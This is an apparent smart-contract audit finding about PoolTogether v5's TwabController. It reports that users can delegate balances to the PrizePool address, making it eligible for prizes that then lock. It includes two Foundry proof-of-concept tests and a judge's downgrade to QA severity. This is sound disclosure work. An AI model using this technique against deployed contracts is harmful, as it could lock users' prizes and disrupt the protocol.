Users can delegate assets to any address other than the Sponsorship's and address zero

[code423n4]

Lines of code

https://github.com/GenerationSoftware/pt-v5-twab-controller/blob/0145eeac23301ee5338c659422dd6d69234f5d50/src/TwabController.sol#L491-L493 https://github.com/GenerationSoftware/pt-v5-twab-controller/blob/0145eeac23301ee5338c659422dd6d69234f5d50/src/TwabController.sol#L648-L664 https://github.com/GenerationSoftware/pt-v5-twab-controller/blob/0145eeac23301ee5338c659422dd6d69234f5d50/src/TwabController.sol#L612-L639

Vulnerability details

Impact

The delegate method is not protected enough by sanity checks and allows users to delegate assets to the PrizePool contract address. The TwabController contract does not keep track of the PrizePool contract address, so it's not possible to prevent the delegation.

PrizePool contract becomes eligible to be the receiver of a prize, as it's TWAB becomes different than zero. At POC#01 One attack vector would be prize loss: as it does not implement the interface to transfer prize to a different address, the prize would be locked in the contract as soon as it's claimed. At POC#02 This is especially dangerous because delegating assets to the PrizePool contract address doesn't require the target delegated account's approval nor risking the user's funds, so it's a low cost attack vector that could be used to unbalance the protocol's vaults and prizing mechanism. It also enables further unexpected behaviour at the protocol by having addresses such as the TWABController's and Vaults set as possible draw winners.

Proof of Concept

POC#01

    function testDelegationToPrizePool() external {
    uint256 aliceTwab;
    uint256 totalSupplyTwab;
    uint256 prizePoolTwab;
    uint32 t0 = PERIOD_OFFSET + (PERIOD_LENGTH / 2);
    uint32 t1 = t0 + PERIOD_LENGTH;
    uint32 t2 = t1 + PERIOD_LENGTH;
    uint32 t3 = t2 + PERIOD_LENGTH;

    prizePool = makeAddr("prizePool");
    assertEq(twabController.totalSupply(mockVault), 0);
    assertEq(twabController.totalSupplyDelegateBalance(mockVault), 0);

    uint96 _amount = 10;

    vm.startPrank(mockVault);
    vm.warp(t0);
    twabController.mint(alice, _amount);
    vm.warp(t1);

    assertEq(twabController.balanceOf(mockVault, alice), _amount);
    assertEq(twabController.balanceOf(mockVault, prizePool), 0);
    assertEq(twabController.delegateBalanceOf(mockVault, alice), _amount);
    assertEq(twabController.delegateBalanceOf(mockVault, prizePool), 0);
    assertEq(twabController.delegateOf(mockVault, alice), alice);

    aliceTwab = twabController.getTwabBetween(mockVault, alice, t0, t1);
    prizePoolTwab = twabController.getTwabBetween(mockVault, prizePool, t0, t1);
    totalSupplyTwab = twabController.getTotalSupplyTwabBetween(mockVault, t0, t1);
    assertEq(aliceTwab, totalSupplyTwab);
    assertEq(aliceTwab, _amount);
    assertEq(prizePoolTwab, 0);
    assertEq(totalSupplyTwab, _amount);

    vm.stopPrank();
    vm.prank(alice);
    twabController.delegate(mockVault, prizePool);
    vm.warp(t2);

   assertEq(twabController.delegateOf(mockVault, alice), prizePool);

    // Balances stay the same
    assertEq(twabController.balanceOf(mockVault, alice), _amount);
    assertEq(twabController.balanceOf(mockVault, prizePool), 0);
    // Delegate balances have changed
    assertEq(twabController.delegateBalanceOf(mockVault, alice), 0);
    assertEq(twabController.delegateBalanceOf(mockVault, prizePool), _amount); 

    aliceTwab = twabController.getTwabBetween(mockVault, alice, t1, t2);
    prizePoolTwab = twabController.getTwabBetween(mockVault, prizePool, t1, t2);
    totalSupplyTwab = twabController.getTotalSupplyTwabBetween(mockVault, t1, t2);
    assertEq(aliceTwab, 0);
    assertEq(prizePoolTwab, _amount);
    assertEq(totalSupplyTwab, _amount);

  }

POC#02

function testPrizePoolAsPrizeReceiver()public{
    contribute(100e18);
    closeDraw(winningRandomNumber);
    // here we are using the prize pool as the prize receiver and an already set winner address to simplify the steps taken at the test
    address winner = makeAddr("winner");
    mockTwab(address(this), winner, 1);

    uint256 prizePoolBalance = prizeToken.balanceOf(address(prizePool));
    uint256 totalWithdrawn = prizePool.totalWithdrawn();

    uint96 fee = 1.13636363636363635e17;
    uint256 prizeSize = prizePool.claimPrize(winner, 1, 0, address(prizePool), fee, address(0));

    uint256 prizePoolBalance2 = prizeToken.balanceOf(address(prizePool));
    uint256 totalWithdrawn2 = prizePool.totalWithdrawn();

    assertEq(prizePoolBalance2, prizePoolBalance);
    assertGt(totalWithdrawn2, totalWithdrawn);
    assertEq(totalWithdrawn2, totalWithdrawn + prizeSize - fee);
  }

Tools Used

Foundry and whimsical

Recommended Mitigation Steps

Assessed type

Context

[c4-judge]

Picodes changed the severity to QA (Quality Assurance)